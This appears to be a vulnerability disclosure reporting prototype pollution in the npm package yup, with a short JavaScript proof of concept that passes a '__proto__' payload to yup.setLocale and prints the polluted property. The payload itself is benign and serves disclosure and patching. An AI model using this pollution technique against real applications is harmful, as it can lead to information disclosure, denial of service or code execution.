Description

yup is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

1. Create the following PoC file:

// poc.js
let yup = require('yup');
const payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}');
yup.setLocale(payload);
console.log({}.polluted)

2. Execute the following commands in another terminal:

npm i yup # Install affected module
node poc.js #  Run the PoC

3. Check the Output:

Yes! Its Polluted